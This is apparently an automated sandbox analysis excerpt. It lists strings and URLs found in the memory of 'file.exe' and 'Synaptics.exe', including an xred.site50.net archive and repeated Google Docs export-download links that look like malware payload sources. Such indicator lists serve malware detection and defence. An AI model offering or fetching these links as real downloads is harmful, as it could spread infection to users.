Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rard
Source: Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FB5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/&
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/C.1Ps
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/CoPwNVz6wZDXGAw
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/CsK
Source: Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/O
Source: Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/T
Source: Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/V
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/cr
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/dcom/images/branding/googlelogo/1x/C
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/fS
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/ght:20
Source: Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/google.com/
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/google.com/om
Source: Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/j
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/neer
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/on-cn.com
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/tionsnosniff
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/tors
Source: Synaptics.exe, 00000003.00000002.2967548338.00000000156FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2964893798.0000000012DBE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2967621365.000000001583E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2960812758.000000000EF8E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3000827248.0000000025FFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2990740796.000000001E87E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2949928093.000000000B1FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2968852323.0000000016AFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2949582306.000000000AA7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2961150769.000000000F34E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2976349615.000000001A83E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2959626517.000000000E1CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2948009818.00000000088BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2949388836.000000000A6BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2992635324.00000000205FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2991813407.000000001FAFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2990432866.000000001E37E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2950450002.000000000BD3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2951057381.000000000C9BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2943661924.000000000576E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2950687640.000000000C23E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2949133748.000000000A07E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#&
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#:T
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#?
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#jm
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#p
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2227137753.000000000534B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005349000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%io
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&2
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&B
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&~
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005349000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D841000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)DO
Source: Synaptics.exe, 00000003.00000002.2997414685.0000000023CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)S
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)Z6Z
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-cn.n
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-cn.nhz
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-k
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-ua-full
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.%
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..0
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.G1_
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.a
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.ampp
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.cH
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com&$
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com.B&
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com.i=1
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.g
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.gl
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.gvt
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.gvt&zO
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.iD
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.iX
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.net.
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.net.L
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.origI)
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/1
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/9(
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/:
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2962484303.00000000104CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0$
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0B
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0hz
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0~
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1_
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2501D
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3474
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download38
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3;D_$
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3De
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3Z
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005349000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
